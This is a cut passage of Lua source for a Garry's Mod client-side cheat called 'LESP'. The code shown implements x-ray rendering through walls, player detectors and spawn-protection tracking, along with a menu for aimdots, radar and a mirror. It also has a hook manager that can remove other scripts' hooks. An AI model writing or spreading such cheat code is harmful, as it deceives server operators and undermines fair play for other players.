  2802. hook.Add( "HUDPaint", "LESP", LESPDraw )
  2803. local function LESPThink()
  2804. if LESPLight then
  2805. local light = DynamicLight( LocalPlayer():UserID() )
  2806. if light then
  2807. light.Pos = LocalPlayer():GetEyeTrace().HitPos
  2808. light.r = 255
  2809. light.g = 255
  2810. light.b = 255
  2811. light.Brightness = 10
  2812. light.Size = 800
  2813. light.Decay = 0
  2814. light.DieTime = CurTime() + 0.2
  2815. end
  2816. end
  2817. if LESPAura then
  2818. local light = DynamicLight( LocalPlayer():UserID() )
  2819. if light then
  2820. light.Pos = LocalPlayer():GetPos()
  2821. light.r = 255
  2822. light.g = 255
  2823. light.b = 255
  2824. light.Brightness = 10
  2825. light.Size = 800
  2826. light.Decay = 0
  2827. light.DieTime = CurTime() + 0.2
  2828. end
  2829. end
  2830. for k, v in pairs( LESPDetects ) do
  2831. for b, n in pairs( player.GetAll() ) do
  2832. if LESPDetectTrace:GetInt() > 0 then
  2833. if n:GetPos():Distance( v ) < LESPDetectThreshold:GetInt() and !util.TraceLine( { start = v + Vector( 0, 0, 5 ), endpos = n:GetPos() } ).Hit and LESPDetected[ n:UniqueID() ] ~= true then
  2834. chat.AddText( "Détecteur " .. k .. " à détecter " .. n:Nick() )
  2835. LESPDetected[ n:UniqueID() ] = true
  2836. elseif n:GetPos():Distance( v ) > LESPDetectThreshold:GetInt() then
  2837. LESPDetected[ n:UniqueID() ] = false
  2838. end
  2839. else
  2840. if n:GetPos():Distance( v ) < LESPDetectThreshold:GetInt() and LESPDetected[ n:UniqueID() ] ~= true then
  2841. chat.AddText( "Détecteur " .. k .. " à détecter " .. n:Nick() )
  2842. LESPDetected[ n:UniqueID() ] = true
  2843. elseif n:GetPos():Distance( v ) > LESPDetectThreshold:GetInt() then
  2844. LESPDetected[ n:UniqueID() ] = false
  2845. end
  2846. end
  2847. end
  2848. end
  2849. end
  2850. hook.Add( "Think", "LESP", LESPThink )
  2851. local function LESPDetectAdd()
  2852. table.insert( LESPDetects, LocalPlayer():GetPos() )
  2853. end
  2854. local function LESPDetectRemove()
  2855. if #LESPDetects > 0 then
  2856. local best = 99999
  2857. local var = 0
  2858. for k, v in pairs( LESPDetects ) do
  2859. if v:Distance( LocalPlayer():GetPos() ) < best then
  2860. best = v:Distance( LocalPlayer():GetPos() )
  2861. var = k
  2862. end
  2863. end
  2864. table.remove( LESPDetects, var )
  2865. end
  2866. end
  2867. concommand.Add( "lix_lesp_detectadd", LESPDetectAdd )
  2868. concommand.Add( "lix_lesp_detectremove", LESPDetectRemove )
  2869. local function LESPRenderScene()
  2870. if LESPXRay == false then return end
  2871. for _, v in pairs( ents.FindByClass( "prop_physics" ) ) do
  2872. if IsValid( v ) then
  2873. v:SetColor( 150, 0, 255, 255 )-- <------ Change that color if you like too.
  2874. v:SetMaterial( LESPXRayMat:GetString() )
  2875. end
  2876.  
  2877. end
  2878. for _, v in pairs( player.GetAll() ) do
  2879. if IsValid( v ) then
  2880. v:SetColor( 152, 73, 255, 255 )
  2881. v:SetMaterial( LESPXRayMat:GetString() )
  2882. end
  2883. end
  2884. end
  2885. hook.Add( "RenderScene", "LESP", LESPRenderScene )
  2886.  
  2887. -- The sound used to indicate prop speed
  2888. util.PrecacheSound("Canals.d1_canals_01_combine_shield_touch_loop1")
  2889.  
  2890. -- Speed up the vars!
  2891. local ents = ents
  2892. local GetConVarNumber = GetConVarNumber
  2893. local GetGlobalInt = GetGlobalInt
  2894. local hook = hook
  2895. local LocalPlayer = LocalPlayer
  2896. local math = math
  2897. local pairs = pairs
  2898. local player = player
  2899. local render = render
  2900. local RunConsoleCommand = RunConsoleCommand
  2901. local string = string
  2902. local surface = surface
  2903. local table = table
  2904. local timer = timer
  2905. local type = type
  2906. local util = util
  2907. local IsValid = IsValid
  2908.  
  2909. local _R = debug.getregistry()
  2910. local SetColor = _R.Entity.SetColor
  2911. local GetColor = _R.Entity.GetColor
  2912. local SetMat = _R.Entity.SetMaterial
  2913. local GetMat = _R.Entity.GetMaterial
  2914. local GetClass = _R.Entity.GetClass
  2915. local GetRagdollEntity = _R.Player.GetRagdollEntity
  2916. local SetNoDraw = _R.Entity.SetNoDraw
  2917. local GetVelocity = _R.Entity.GetVelocity
  2918. local VelLength = _R.Vector.Length
  2919.  
  2920.  
  2921. -- XRay variables!
  2922. local RayOn = false -- Xray toggle variable
  2923. local entityMaterials = {}
  2924. local entityColors = {}
  2925. local VIEWMODEL = NULL
  2926. local NoDraws = {"cluaeffect",
  2927. "fog",
  2928. "waterlodcontrol",
  2929. "clientragdoll",
  2930. "envtonemapcontroller",
  2931. "entityflame",
  2932. "func_tracktrain",
  2933. "env_sprite",
  2934. "prop_effect",
  2935. "class c_sun",
  2936. "class C_ClientRagdoll",
  2937. "class C_BaseAnimating",
  2938. "clientside",
  2939. "illusionary",
  2940. "shadowcontrol",
  2941. "keyframe",
  2942. "wind",
  2943. "gmod_wire_hologram",
  2944. "effect",
  2945. "stasisshield",
  2946. "shadertest",
  2947. "portalball",
  2948. "portalskydome",
  2949. "cattails"
  2950. }
  2951.  
  2952. -- cvars
  2953. local repmat = CreateClientConVar("falco_xraymaterial", "mat1", true, false)
  2954. local PROPColor = CreateClientConVar("falco_xrayPROPColor", "255,200,0,60", true, false)
  2955. local PROPBGColor = CreateClientConVar("falco_xrayPROPBGColor", "0,204,0,39", true, false)
  2956. local MINEColor = CreateClientConVar("falco_xrayMINEColor", "255,204,255,60", true, false)
  2957. local HOLDINGColor = CreateClientConVar("falco_xrayHOLDINGColor", "0,0,0,40", true, false)
  2958. local MINEBGColor = CreateClientConVar("falco_xrayPROPMINEBGColor", "1,204,1,39", true, false)
  2959. local PLYColor = CreateClientConVar("falco_xrayPLAYERcolor", "255,255,0,100", true, false)
  2960.  
  2961. local cPROPColor = Color(unpack(string.Explode(",", PROPColor:GetString())))
  2962. local cPROPBGColor = Color(unpack(string.Explode(",", PROPBGColor:GetString())))
  2963. local cPROPMINEBGColor = Color(unpack(string.Explode(",", MINEBGColor:GetString())))
  2964. local cPROPHOLDINGColor = Color(unpack(string.Explode(",", HOLDINGColor:GetString())))
  2965. local cMINEColor = Color(unpack(string.Explode(",", MINEColor:GetString())))
  2966. local cPLYColor = Color(unpack(string.Explode(",", PLYColor:GetString())))
  2967. local FRayMat = repmat:GetString()
  2968.  
  2969. local ExecuteFray
  2970.  
  2971. -- Overriding effects!
  2972. local OldEffectFunctions = {}
  2973. OldEffectFunctions.render_AddBeam = render.AddBeam
  2974. OldEffectFunctions.render_DrawSprite = render.DrawSprite
  2975. local OLDUtilEffect = util.Effect
  2976.  
  2977. local EMITTER = FindMetaTable("CLuaEmitter")
  2978. EMITTER.OldAdd = EMITTER.OldAdd or EMITTER.Add
  2979. function EMITTER:Add(...)
  2980. if RayOn then
  2981. local returnal = table.Copy(FindMetaTable("CLuaParticle"))
  2982. for k,v in pairs(returnal or {}) do
  2983. if type(v) == "function" then
  2984. returnal[k] = function() end
  2985. end
  2986. end
  2987. return returnal--override all the functions of this FAKE particle to do nothing
  2988. end
  2989. return self:OldAdd(...)
  2990. end
  2991.  
  2992. function render.AddBeam(...)
  2993. if not RayOn then
  2994. return OldEffectFunctions.render_AddBeam(...)
  2995. end
  2996. end
  2997.  
  2998. function render.DrawSprite(a,b,c,d,e, ...)
  2999. if not RayOn or e then
  3000. OldEffectFunctions.render_DrawSprite(a,b,c,d, ...)
  3001. end
  3002. end
  3003.  
  3004. -- Register babygodded players
  3005. local babygod, bgodtime
  3006. local function RegisterSpawn()
  3007. local Pls = player.GetAll()
  3008. for ply=1, #Pls do
  3009. Health = Pls[ply]:Health()
  3010. if Health < 1 and Pls[ply].Spawned then
  3011. Pls[ply].Spawned = false
  3012. Pls[ply].BabyGod = false
  3013. elseif Health > 0 and not Pls[ply].Spawned then
  3014. Pls[ply].Spawned = true
  3015. Pls[ply].BabyGod = true
  3016. timer.Simple(bgodtime, function()
  3017. if not IsValid(Pls[ply]) then return end
  3018. Pls[ply].BabyGod = false
  3019. if entityColors[Pls[ply]] then entityColors[Pls[ply]] = Color(255,255,255,255) end
  3020. end)
  3021. end
  3022. end
  3023. end
  3024. hook.Add("InitPostEntity", "a", function()
  3025. babygod = tobool(GetConVarNumber("babygod"))
  3026. bgodtime = tonumber(GetConVarNumber("babygodtime"))
  3027. if babygod then
  3028. hook.Add("Think", "FalcoDetectSpawn", RegisterSpawn)
  3029. end
  3030. end)
  3031.  
  3032.  
  3033. local function ToggleFRay(ply, cmd, args)
  3034. FRayMat = repmat:GetString()
  3035. RunConsoleCommand("r_cleardecals")
  3036.  
  3037. -- Turn some annoying things off
  3038. RunConsoleCommand("r_drawparticles", RayOn and 1 or 0)
  3039.  
  3040. //Falco_ForceVar("r_3dsky", RayOn and 1 or 0)
  3041. RunConsoleCommand("r_drawsprites", RayOn and 1 or 0)
  3042.  
  3043. -- Turning xray off
  3044. if RayOn then
  3045. surface.PlaySound("buttons/button19.wav")
  3046.  
  3047. local ENTS = ents.GetAll()
  3048. for v = 1, #ENTS do
  3049. if not IsValid(ENTS[v]) then continue end
  3050.  
  3051. SetMat(ENTS[v], entityMaterials[ENTS[v]])
  3052. local z = entityColors[ENTS[v]]
  3053. if z and type(z) == "table" then
  3054. SetColor(ENTS[v], Color(z.r, z.g, z.b, z.a))
  3055. else
  3056. SetColor(ENTS[v], Color(255,255,255,255))
  3057. end
  3058.  
  3059. for a,b in pairs(NoDraws) do
  3060. local model = ENTS[v]:GetModel() or ""
  3061. if string.find(GetClass(ENTS[v]), b) or string.find(model, b) then -- Hide effects
  3062. SetNoDraw(ENTS[v], false)
  3063. end
  3064. end
  3065. end
  3066. entityColors = {}
  3067.  
  3068. hook.Remove("PostDrawOpaqueRenderables", "falco_xray")
  3069. hook.Remove("OnEntityCreated", "FalcoRayEntityInPVS")
  3070. hook.Remove("PreDrawSkyBox", "removeSkybox")
  3071.  
  3072. util.Effect = OLDUtilEffect
  3073. else
  3074. -- Play a nice sound
  3075. surface.PlaySound("buttons/button1.wav")
  3076.  
  3077. -- Get rid of ropes
  3078. for k,v in pairs(ents.FindByClass("class C_RopeKeyframe")) do
  3079. SetColor(v, Color(0,0,0,0))
  3080. end
  3081.  
  3082. -- and effects
  3083. util.Effect = function() end
  3084.  
  3085. local ENTS = ents.GetAll()
  3086. for v = 1, #ENTS do
  3087. ExecFRayOnce(ENTS[v])
  3088. end
  3089.  
  3090. -- remove the skybox
  3091. hook.Add("PreDrawSkyBox", "removeSkybox", function()
  3092. render.Clear(50, 50, 50, 255)
  3093.  
  3094. return true
  3095. end)
  3096.  
  3097. -- Add the rendering hook
  3098. hook.Add("PostDrawOpaqueRenderables", "falco_xray", ExecuteFray)
  3099. hook.Add("OnEntityCreated", "FalcoRayEntityInPVS", function(ent)
  3100. ExecFRayOnce(ent)
  3101. end)
  3102. end
  3103. RayOn = not RayOn
  3104. end
  3105. concommand.Add("lix_lesp_xray", ToggleFRay)
  3106.  
  3107. function ExecFRayOnce(v)
  3108. if not IsValid(v) then return end
  3109. local color = GetColor(v)
  3110. local r,g,b,a = color.r, color.g, color.b, color.a
  3111. local class = GetClass(v)
  3112. local low = string.lower(class)
  3113. local model = v:GetModel() or ""
  3114.  
  3115. -- Set some entities to not draw
  3116. for _, entname in pairs(NoDraws) do
  3117. if string.find(low, entname) or string.find(model, entname) then
  3118. SetNoDraw(v, true)
  3119. return
  3120. end
  3121. end
  3122.  
  3123. v:SetRenderMode(RENDERMODE_TRANSALPHA)
  3124. if v:IsNPC() and (r ~= 0 or g ~= 0 or b ~= 255 or a ~= 255) then
  3125. entityColors[v] = Color(r,g,b,a)
  3126. SetColor(v, Color(152, 73, 255, 30))
  3127. elseif class == "viewmodel" and (r ~= 0 or g ~= 0 or b ~= 0 or a ~= 30) then
  3128. VIEWMODEL = v
  3129. entityColors[v] = Color(r,g,b,a)
  3130. SetColor(v, Color(0, 0, 0, 30))
  3131. SetMat(v, "mat1")
  3132. elseif string.find(class, "ghost") and a ~= 100 then
  3133. entityColors[v] = Color(r,g,b,a)
  3134. SetColor(v, Color(255,255,255,100))
  3135. elseif (class == "drug_lab" or class == "money_printer") and (r ~= 255 or g ~= 0 or b ~= 100 or a ~= 50) then
  3136. entityColors[v] = Color(r,g,b,a)
  3137. SetColor(v, Color(255, 0, 100, 50))
  3138. elseif class == "prop_physics" or v:IsPlayer() then
  3139. entityColors[v] = Color(r,g,b,a)
  3140. elseif not v:IsPlayer() and not v:IsNPC() and class ~= "prop_physics" and class ~= "prop" and class ~= "drug_lab" and class ~= "money_printer" and class ~= "func_breakable" and class ~= "func_wall" and not v:IsWeapon() and class ~= "viewmodel" and not v.NoXRay and not string.find(class, "ghost") and ( r ~= 255 or g ~= 200 or b ~= 0 or a ~= 100) then
  3141. entityColors[v] = Color(r,g,b,a)
  3142. --SetColor(v, 255, 200, 0, 100)
  3143. SetColor(v, Color(0, 255, 0, 100))
  3144. end
  3145. if class ~= "viewmodel" and GetMat(v) ~= FRayMat and class ~= "func_door" and class ~= "func_door_rotating" and class ~= "prop_door_rotating" and class ~= "func_breakable" and class ~= "func_wall" and not v.NoXRay and not string.find(class, "ghost") then
  3146. entityMaterials[v] = GetMat(v)
  3147. SetMat(v, FRayMat)
  3148. end
  3149. end
  3150.  
  3151. local ScaleNormal = Vector()
  3152. local ScaleOutline1 = Vector()
  3153. local function DrawEntityOutline(ent, size, r, g, b, a)
  3154. --size = size or 1.0
  3155. render.SetBlend(a)
  3156. render.SetColorModulation(r, g, b)
  3157.  
  3158. -- First Outline
  3159. --ent:SetModelScale(ScaleOutline1 * size) -- WARNING: RESIZE LAGS
  3160. --SetMaterialOverride("mat4")
  3161. ent:DrawModel()
  3162.  
  3163. -- Revert everything back to how it should be
  3164. render.MaterialOverride(nil)
  3165. --ent:SetModelScale(ScaleNormal)
  3166.  
  3167.  
  3168. end
  3169.  
  3170. function ExecuteFray()
  3171. if not RayOn then return end
  3172.  
  3173. local PROPS = ents.FindByClass("prop_physics")
  3174. local PLYS = player.GetAll()
  3175.  
  3176. local ang = EyeAngles()
  3177. local eyePos = EyePos()
  3178. cam.Start3D(eyePos, ang)
  3179. for v = 1, #PROPS do
  3180. if IsValid(PROPS[v]) then
  3181. local prop = PROPS[v]
  3182.  
  3183. local IsHolding = LocalPlayer().IsHolding == PROPS[v]
  3184.  
  3185. local r,g,b,a =
  3186. cPROPColor.r,
  3187. cPROPColor.g,
  3188. cPROPColor.b,
  3189. cPROPColor.a
  3190.  
  3191. if PROPS[v].IsMine then
  3192. r, g, b, a = cMINEColor.r, cMINEColor.g, cMINEColor.b, cMINEColor.a or a
  3193. end
  3194. if PROPS[v].IsBreakable and PROPS[v]:IsBreakable() then
  3195. r, g, b = (PROPS[v].IsMine and cMINEColor.r) or 152, 73, 255
  3196. end
  3197.  
  3198. SetColor(PROPS[v], Color(r, g, b, a))
  3199. SetMat(PROPS[v], "mat4")
  3200. if PROPS[v].IsMine then
  3201. local col = IsHolding and cPROPHOLDINGColor or cPROPMINEBGColor
  3202. DrawEntityOutline(PROPS[v], 1.00, col.r/255, col.g/255, col.b/255, col.a/255)
  3203. elseif ang:Forward():Dot(PROPS[v]:GetPos() - eyePos) > 0 then
  3204. DrawEntityOutline(PROPS[v], 1.00, cPROPBGColor.r/255, cPROPBGColor.g/255, cPROPBGColor.b/255, cPROPBGColor.a/255)
  3205. end
  3206. SetMat(PROPS[v], FRayMat)
  3207. end
  3208. end
  3209.  
  3210. for v = 1, #PLYS do
  3211. if IsValid(PLYS[v]) then
  3212. if PLYS[v].BabyGod then
  3213. SetColor(PLYS[v], Color(150,0,255,255))
  3214. if PLYS[v] == LocalPlayer() and IsValid(VIEWMODEL) then
  3215. SetMat(VIEWMODEL, "mat2")
  3216. SetColor(VIEWMODEL, 255,0,0,40)
  3217. end
  3218. else
  3219. if PLYS[v] == LocalPlayer() and IsValid(VIEWMODEL) then
  3220. SetMat(VIEWMODEL, "mat1")
  3221. SetColor(VIEWMODEL, Color(0,0,0,30))
  3222. end
  3223. SetColor(PLYS[v], Color(cPLYColor.r, cPLYColor.g, cPLYColor.b, cPLYColor.a))
  3224. end
  3225. SetMat(PLYS[v], "mat4")
  3226. DrawEntityOutline(PLYS[v], 1.00, 1, 0.2, 0.2, 0.17)
  3227. SetMat(PLYS[v], FRayMat)
  3228. if IsValid(PLYS[v]:GetActiveWeapon()) then
  3229. SetMat(PLYS[v]:GetActiveWeapon(), "mat4")
  3230. DrawEntityOutline(PLYS[v]:GetActiveWeapon(), 1.00, 1, 0.2, 0.2, 0.17)
  3231. end
  3232. end
  3233. if GetRagdollEntity(PLYS[v]) then
  3234. SetNoDraw(GetRagdollEntity(PLYS[v]), true)
  3235. end
  3236. end
  3237. cam.End3D()
  3238. end
  3239. local LESPMenuFrame
  3240. local function LESPMenu()
  3241. gui.EnableScreenClicker( true )
  3242.  
  3243. if !LESPMenuFrame then
  3244. LESPMenuFrame = vgui.Create( "DFrame" )
  3245. LESPMenuFrame:SetSize( 300, 400 )
  3246. LESPMenuFrame:Center()
  3247. LESPMenuFrame:ShowCloseButton( false )
  3248. LESPMenuFrame:SetDraggable( false )
  3249. LESPMenuFrame:SetTitle( "" )
  3250. LESPMenuFrame.Paint = function() end
  3251. local Sheet = vgui.Create( "DPropertySheet", LESPMenuFrame )
  3252. Sheet:SetPos( 0, 0 )
  3253. Sheet:SetSize( 300, 400 )
  3254.  
  3255. -- LESP Config
  3256.  
  3257. local Tab = vgui.Create( "DPanelList" )
  3258. Tab:SetSpacing( 5 )
  3259. Tab:SetPadding( 5 )
  3260.  
  3261. local Control = vgui.Create( "DCheckBoxLabel" )
  3262. Control:SetText( "Enabled" )
  3263. Control:SetConVar( "lix_lesp_on" )
  3264. Tab:AddItem( Control )
  3265.  
  3266. local Control = vgui.Create( "DCheckBoxLabel" )
  3267. Control:SetText( "Show Health" )
  3268. Control:SetConVar( "lix_lesp_health" )
  3269. Tab:AddItem( Control )
  3270.  
  3271. local Control = vgui.Create( "DCheckBoxLabel" )
  3272. Control:SetText( "Show Weapon" )
  3273. Control:SetConVar( "lix_lesp_weapon" )
  3274. Tab:AddItem( Control )
  3275.  
  3276. local Control = vgui.Create( "DCheckBoxLabel" )
  3277. Control:SetText( "Show Distance" )
  3278. Control:SetConVar( "lix_lesp_distance" )
  3279. Tab:AddItem( Control )
  3280.  
  3281. local Control = vgui.Create( "DCheckBoxLabel" )
  3282. Control:SetText( "Show Money" )
  3283. Control:SetConVar( "lix_lesp_money" )
  3284. Tab:AddItem( Control )
  3285.  
  3286. local Control = vgui.Create( "DCheckBoxLabel" )
  3287. Control:SetText( "Show Health" )
  3288. Control:SetConVar( "lix_lesp_health" )
  3289. Tab:AddItem( Control )
  3290.  
  3291. local Objects = vgui.Create( "DListView" )
  3292. Objects:AddColumn( "Targets" )
  3293. Objects:SetSize( 50, 100 )
  3294. Objects:SetMultiSelect( false )
  3295. function Objects:OnClickLine( line )
  3296. line:SetSelected( true )
  3297. for k, v in pairs( LESPObjects ) do
  3298. if v == line:GetValue( 1 ) then
  3299. table.remove( LESPObjects, k )
  3300. end
  3301. end
  3302. RunConsoleCommand( "lix_lesp_objects", table.concat( LESPObjects, "|" ) )
  3303. print( Objects:GetSelectedLine() )
  3304. Objects:RemoveLine( Objects:GetSelectedLine() )
  3305. end
  3306. Tab:AddItem( Objects )
  3307.  
  3308. for _, v in pairs( LESPObjects ) do
  3309. if v ~= "" then
  3310. Objects:AddLine( v )
  3311. end
  3312. end
  3313.  
  3314. local Control = vgui.Create( "DButton" )
  3315. Control:SetText( "Add" )
  3316. Control.DoClick = function()
  3317. Derma_StringRequest( "LESP", "Name of entity to add:", "", function( txt )
  3318. table.insert( LESPObjects, txt )
  3319. RunConsoleCommand( "lix_lesp_objects", table.concat( LESPObjects, "|" ) )
  3320. Objects:AddLine( txt )
  3321. end )
  3322. end
  3323. Tab:AddItem( Control )
  3324.  
  3325. local Control = vgui.Create( "DButton" )
  3326. Control:SetText( "Add Looking at" )
  3327. Control.DoClick = function()
  3328. if LocalPlayer():GetEyeTrace().Hit and LocalPlayer():GetEyeTrace().Entity:IsValid() then
  3329. table.insert( LESPObjects, LocalPlayer():GetEyeTrace().Entity:GetClass() )
  3330. RunConsoleCommand( "lix_lesp_objects", table.concat( LESPObjects, "|" ) )
  3331. Objects:AddLine( LocalPlayer():GetEyeTrace().Entity:GetClass() )
  3332. end
  3333. end
  3334. Tab:AddItem( Control )
  3335.  
  3336. local Control = vgui.Create( "DButton" )
  3337. Control:SetText( "Remove All" )
  3338. Control.DoClick = function()
  3339. Derma_Query( "Do you want to remove all Entites?", "LESP",
  3340. "Yes", function()
  3341. for i, v in pairs( string.Explode( "|", LESPObjects:GetString() ) ) do
  3342. Objects:RemoveLine( i )
  3343. end
  3344. LESPObjects = {}
  3345. RunConsoleCommand( "lix_lesp_objects", "" )
  3346. end,
  3347. "No", function() end )
  3348. end
  3349. Tab:AddItem( Control )
  3350.  
  3351. local Control = vgui.Create( "DCheckBoxLabel" )
  3352. Control:SetText( "Aimdots" )
  3353. Control:SetConVar( "lix_lesp_aimdot" )
  3354. Tab:AddItem( Control )
  3355.  
  3356. local Control = vgui.Create( "DCheckBoxLabel" )
  3357. Control:SetText( "Aimdot Filtering" )
  3358. Control:SetConVar( "lix_lesp_aimdotfilter" )
  3359. Tab:AddItem( Control )
  3360. Sheet:AddSheet( "LESP", Tab, "icon16/group.png", false, false, "LESP Configuration" )
  3361. local Tab = vgui.Create( "DPanelList" )
  3362. Tab:SetSpacing( 5 )
  3363. Tab:SetPadding( 5 )
  3364. local Control = vgui.Create( "DCheckBoxLabel" )
  3365. Control:SetText( "Mirror Enabled" )
  3366. Control:SetConVar( "lix_lesp_mirror" )
  3367. Tab:AddItem( Control )
  3368. local Control = vgui.Create( "DButton" )
  3369. Control:SetText( "Enable Mirror Placement" )
  3370. Control.DoClick = function()
  3371. local PlaceFrame = vgui.Create( "DFrame" )
  3372. RunConsoleCommand( "lix_lesp_mirror", 0 )
  3373. PlaceFrame:SetSize( LESPMirrorw:GetInt(), LESPMirrorh:GetInt() )
  3374. PlaceFrame:SetPos( LESPMirrorx:GetInt(), LESPMirrory:GetInt() )
  3375. PlaceFrame:ShowCloseButton( false )
  3376. PlaceFrame:SetSizable( true )
  3377. PlaceFrame:SetTitle( "Move Da Mirror" )
  3378. local PlaceButton = vgui.Create( "DButton", PlaceFrame )
  3379. PlaceButton:SetSize( 100, 40 )
  3380. PlaceButton:SetPos( 5, 30 )
  3381. PlaceButton:SetText( "Bitch Muddafuckin Stay Here" )
  3382. PlaceButton.DoClick = function()
  3383. local x, y = PlaceFrame:GetPos()
  3384. local w, h = PlaceFrame:GetSize()
  3385. RunConsoleCommand( "lix_lesp_mirrorx", x )
  3386. RunConsoleCommand( "lix_lesp_mirrory", y )
  3387. RunConsoleCommand( "lix_lesp_mirrorw", w )
  3388. RunConsoleCommand( "lix_lesp_mirrorh", h )
  3389. RunConsoleCommand( "lix_lesp_mirror", 1 )
  3390. PlaceFrame:Close()
  3391. end
  3392. PlaceButton.Think = function()
  3393. local x, y = PlaceFrame:GetPos()
  3394. local w, h = PlaceFrame:GetSize()
  3395. PlaceButton:SetSize( w - 10, h - 32 )
  3396. PlaceButton:SetPos( 5, 27 )
  3397. end
  3398. end
  3399. Tab:AddItem( Control )
  3400. local Control = vgui.Create( "DNumSlider" )
  3401. Control:SetText( "Pitch" )
  3402. Control:SetMin( -2 )
  3403. Control:SetMax( 359 )
  3404. Control:SetDecimals( 0 )
  3405. Control:SetConVar( "lix_lesp_mirrorpitch" )
  3406. Tab:AddItem( Control )
  3407. local Control = vgui.Create( "DNumSlider" )
  3408. Control:SetText( "Yaw" )
  3409. Control:SetMin( -2 )
  3410. Control:SetMax( 359 )
  3411. Control:SetDecimals( 0 )
  3412. Control:SetConVar( "lix_lesp_mirroryaw" )
  3413. Tab:AddItem( Control )
  3414. local Control = vgui.Create( "DNumSlider" )
  3415. Control:SetText( "Roll" )
  3416. Control:SetMin( -2 )
  3417. Control:SetMax( 359 )
  3418. Control:SetDecimals( 0 )
  3419. Control:SetConVar( "lix_lesp_mirrorroll" )
  3420. Tab:AddItem( Control )
  3421. local Control = vgui.Create( "DLabel" )
  3422. Control:SetText( " " )
  3423. Tab:AddItem( Control )
  3424. local Control = vgui.Create( "DCheckBoxLabel" )
  3425. Control:SetText( "Radar Enabled" )
  3426. Control:SetConVar( "lix_lesp_radar" )
  3427. Tab:AddItem( Control )
  3428. local Control = vgui.Create( "DButton" )
  3429. Control:SetText( "Enable Radar Placement" )
  3430. Control.DoClick = function()
  3431. local PlaceFrame = vgui.Create( "DFrame" )
  3432. RunConsoleCommand( "lix_lesp_radar", 0 )
  3433. PlaceFrame:SetSize( LESPRadarw:GetInt(), LESPRadarh:GetInt() )
  3434. PlaceFrame:SetPos( LESPRadarx:GetInt(), LESPRadary:GetInt() )
  3435. PlaceFrame:ShowCloseButton( false )
  3436. PlaceFrame:SetSizable( true )
  3437. PlaceFrame:SetTitle( "Radar Placement" )
  3438. local PlaceButton = vgui.Create( "DButton", PlaceFrame )
  3439. PlaceButton:SetSize( 100, 40 )
  3440. PlaceButton:SetPos( 5, 30 )
  3441. PlaceButton:SetText( "CONFIRM" )
  3442. PlaceButton.DoClick = function()
  3443. local x, y = PlaceFrame:GetPos()
  3444. local w, h = PlaceFrame:GetSize()
  3445. RunConsoleCommand( "lix_lesp_radarx", x )
  3446. RunConsoleCommand( "lix_lesp_radary", y )
  3447. RunConsoleCommand( "lix_lesp_radarw", w )
  3448. RunConsoleCommand( "lix_lesp_radarh", h )
  3449. RunConsoleCommand( "lix_lesp_radar", 1 )
  3450. PlaceFrame:Close()
  3451. end
  3452. PlaceButton.Think = function()
  3453. local x, y = PlaceFrame:GetPos()
  3454. local w, h = PlaceFrame:GetSize()
  3455. PlaceButton:SetSize( w - 10, h - 32 )
  3456. PlaceButton:SetPos( 5, 27 )
  3457. end
  3458. end
  3459. Tab:AddItem( Control )
  3460. local Control = vgui.Create( "DNumSlider" )
  3461. Control:SetText( "FOV" )
  3462. Control:SetMin( 0 )
  3463. Control:SetMax( 3000 )
  3464. Control:SetDecimals( 0 )
  3465. Control:SetConVar( "lix_lesp_radarfov" )
  3466. Tab:AddItem( Control )
  3467. local Control = vgui.Create( "DCheckBoxLabel" )
  3468. Control:SetText( "Auto Adjust" )
  3469. Control:SetConVar( "lix_lesp_radarauto" )
  3470. Tab:AddItem( Control )
  3471. Sheet:AddSheet( "Mirror", Tab, "icon16/magnifier.png", false, false, "Mirror and Radar Configuration" )
  3472. local function CreateHooks()
  3473. local Var = hook.GetTable()
  3474. table.sort( Var, function( a, b ) return a < b end )
  3475. for HookName, HookFunctions in pairs( Var ) do
  3476. HooksTable[ HookName ] = vgui.Create( "DCollapsibleCategory" )
  3477. HooksTable[ HookName ]:SetExpanded( 0 )
  3478. HooksTable[ HookName ]:SetLabel( HookName )
  3479. HooksTable[ HookName ].Contents = vgui.Create( "DPanelList" )
  3480. HooksTable[ HookName ].Contents:SetAutoSize( true )
  3481. HooksTable[ HookName ].Contents:SetSpacing( 5 )
  3482. HooksTable[ HookName ].Contents:SetPadding( 5 )
  3483. HooksTable[ HookName ].Contents:EnableHorizontal( false )
  3484. HooksTable[ HookName ].Contents:EnableVerticalScrollbar( true )
  3485. HooksTable[ HookName ]:SetContents( HooksTable[ HookName ].Contents )
  3486. Tab:AddItem( HooksTable[ HookName ] )
  3487. local Var2 = HookFunctions
  3488. table.sort( Var2, function( a, b ) return a < b end )
  3489. for HookID, HookFunction in pairs( Var2 ) do
  3490. HooksTable[ HookName ].Contents[ HookID ] = vgui.Create( "DButton" )
  3491. HooksTable[ HookName ].Contents[ HookID ]:SetText( HookID )
  3492. HooksTable[ HookName ].Contents[ HookID ].DoClick = function()
  3493. local Menu = DermaMenu()
  3494. Menu:AddOption( "Call Hook", function() hook.Call( HookName ) end )
  3495. Menu:AddOption( "Remove Hook", function() hook.Remove( HookName, HookID ) HooksTable[ HookName ].Contents[ HookID ]:Remove() end )
  3496. Menu:Open()
  3497. end
  3498. HooksTable[ HookName ].Contents:AddItem( HooksTable[ HookName ].Contents[ HookID ] )
  3499. end
  3500. end
  3501. end
  3502. local Control = vgui.Create( "DButton" )
  3503. Control:SetText( "Refresh" )
  3504. Control.DoClick = function()
  3505. for k, v in pairs( HooksTable ) do
  3506. v:Remove()
  3507. end
  3508. CreateHooks()
  3509. end
  3510. Tab:AddItem( Control )
  3511. CreateHooks()
  3512. Sheet:AddSheet( "Hooks", Tab, "icon16/anchor.png", false, false, "Manage active Lua Hooks" )
  3513. local Tab = vgui.Create( "DPanelList" )
  3514. Tab:SetSpacing( 5 )
  3515. Tab:SetPadding( 5 )
  3516. Tab:EnableVerticalScrollbar( true )
  3517. local Control = vgui.Create( "DButton" )
  3518. Control:SetText( "Light" )
  3519. Control.DoClick = function()
  3520. RunConsoleCommand( "lix_lesp_light" )
  3521. end
  3522. Tab:AddItem( Control )
  3523. local Control = vgui.Create( "DButton" )
  3524. Control:SetText( "Aura Light" )
  3525. Control.DoClick = function()
  3526. RunConsoleCommand( "lix_lesp_aura" )
  3527. end
  3528. Tab:AddItem( Control )
  3529. local Control = vgui.Create( "DLabel" )
  3530. Control:SetText( " " )
  3531. Tab:AddItem( Control )
  3532. local Control = vgui.Create( "DButton" )
  3533. Control:SetText( "Add Detector" )
  3534. Control.DoClick = function()
  3535. RunConsoleCommand( "lix_lesp_detectadd" )
  3536. end
  3537. Tab:AddItem( Control )
  3538. local Control = vgui.Create( "DButton" )
  3539. Control:SetText( "Remove Detector" )
  3540. Control.DoClick = function()
